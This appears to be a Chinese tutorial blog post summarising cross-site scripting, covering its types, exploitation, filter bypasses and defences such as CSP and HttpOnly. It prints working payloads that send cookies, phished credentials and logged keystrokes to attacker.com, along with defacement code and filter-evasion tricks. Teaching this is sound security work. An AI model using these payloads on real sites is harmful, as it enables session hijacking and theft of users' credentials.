XSS总结

Mathieu 于 2024-03-01 发布

XSS总结

原理

Web 应用程序将用户输入的数据,未经充分过滤或编码,就直接输出到 HTML 页面中,导致浏览器将用户的输入误当作可执行的脚本来解析和执行。

分类

反射型

恶意脚本作为请求的一部分(如URL参数)发送给服务器,服务器将其“反射”回响应中,浏览器立即执行。非持久化,需要诱骗用户点击特定链接。 例如:[http://example.com/search?q=](http://example.com/search?q=)<script>alert(1)</script>

存储型

恶意脚本被永久存储在服务器上(如数据库、评论、留言板)。任何用户访问包含此内容的页面时,脚本都会被自动加载和执行。危害最大。 例如:在博客评论区提交恶意评论,之后所有访客都会中招。

DOM型

漏洞存在于客户端的JavaScript代码中,而非服务器端。网站的JS代码不安全地处理了来自DOM的数据(如 document.location.hash),并将其写入了页面DOM,导致代码执行。 例如:

// 假设URL是:http://example.com#<img src=x onerror=alert(1)>
var content = document.location.hash.substring(1);
document.getElementById("message").innerHTML = "Welcome, " + content; // 漏洞点

利用

  1. 窃取cookie

    获取用户的会话 Cookie(反射XSS+社工,存储XSS),并发送到攻击者的服务器,从而冒充合法用户登录或调取数据。

     <script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>
        
     <script>new Image().src='http://attacker.com/steal?cookie='+encodeURIComponent(document.cookie)</script>
        
     <img src="x" onerror="this.src='http://attacker.com/steal?cookie='+encodeURIComponent(document.cookie)">
    
  2. 钓鱼

    在页面上动态创建一个假的登录框(反射XSS+社工,存储XSS),欺骗用户输入用户名和密码。

     <div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 9999;">
       <div style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); background: white; padding: 20px; text-align: center;">
         <h3>您的会话已过期,请重新登录</h3>
         <form action="http://attacker.com/phish" method="POST">
           用户名: <input type="text" name="username"><br><br>
           密码: <input type="password" name="password"><br><br>
           <input type="submit" value="登录">
         </form>
       </div>
     </div>
    
  3. 网站篡改

    修改页面内容,发布虚假信息,损害网站声誉。

     <script>document.body.innerHTML = '<h1>该网站已被黑!</h1>' + document.body.innerHTML</script>
        
     <div style="position: fixed; top: 0; width: 100%; background: red; color: white; text-align: center; z-index: 9999;">
       <strong>安全警告:该站点存在安全漏洞!</strong>
     </div>
    
  4. 键盘记录

    监听用户的键盘事件,窃取敏感输入。

     <script>
     let log = '';
     document.onkeypress = function(e) {
       log += e.key; // 记录按下的键
       // 每输入10个字符就发送一次数据,避免过于频繁的请求
       if (log.length > 10) {
         new Image().src = 'http://attacker.com/log?k=' + encodeURIComponent(log);
         log = '';
       }
     }
     </script>
        
     ## 实时发送
     <script>
     // 监听所有按键事件(包括退格键、功能键等)
     document.addEventListener('keydown', function(e) {
       fetch('http://attacker.com/log', {
         method: 'POST',
         body: JSON.stringify({ 
           key: e.key, 
           code: e.code,
           time: new Date().toISOString()
         })
       });
     });
     </script>
    
  5. 绕过CSRF限制

    也就是用XSS把token获取到后进行CSRF攻击

  6. 制作XSS蠕虫

    假设存在一个存储型XSS,目标一点击后在目标A的账号下发布部署同样的XSS payload,进而进行链式传播。

绕过

  1. 编码绕过
    • 对 payload 进行各种编码(HTML实体、URL、JS Unicode、Base64等)。
    • 例:<script> -> &lt;script&gt; (但可能被解码) 或 \u003cscript\u003e
  2. 语法混淆
    • 利用JS语法特性:<img src=x onerror=alert(1)> (最常用)
    • 不使用空格:用/或其它字符代替:onerror=alert(1)
    • 使用非常规标签或事件:<svg onload=alert(1)><details ontoggle=alert(1)>
    • 大小写混淆:<ScRiPt>alert(1)</sCrIpT>
    • 双写绕过:<scr<script>ipt>alert(1)</script>
  3. 利用JavaScript特性
    • 字符串拼接:"al" + "ert(1)"
    • 使用 eval()setTimeout()Function() 等动态执行函数:eval('al'+'ert(1)')
    • 使用反引号执行命令:alert1``
  4. 伪协议
    • javascript:alert(1) (常用于 <a href> 或 iframe src)

防御

  1. 输入验证

    对用户输入进行严格的白名单校验(只允许允许的字符、长度、格式),但不要仅依赖黑名单。

  2. 输出编码/转义
    • HTML 上下文:<, >, &, ", ' 分别转义为 &lt;, &gt;, &amp;, &quot;, &#39;
    • JavaScript 上下文: 在将数据插入到 JS 代码块时,对非字母数字字符进行 \xHH 格式的编码。
    • CSS 上下文: 对用户数据进行编码,防止注入恶意样式或表达式。
    • URL 上下文: 使用 URLEncoder 对要放入链接中的参数进行编码。
  3. 内容安全策略(CSP) 通过 HTTP 头部 Content-Security-Policy 告诉浏览器哪些来源的脚本是可信的、可以执行的。 例如:

    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;

    只允许加载本域和 trusted.cdn.com 的脚本,有效阻止内联脚本和未授权域的脚本执行。

  4. 设置HTTPOnly 在设置关键 Cookie (如 Session ID) 时,加上 HttpOnly 标志。 禁止 JavaScript 通过 document.cookie 访问该 Cookie,即使 XSS ,也无法轻易窃取会话。
  5. 使用现代web框架

    前端:React, Vue, Angular

    后端:Django, Ruby on Rails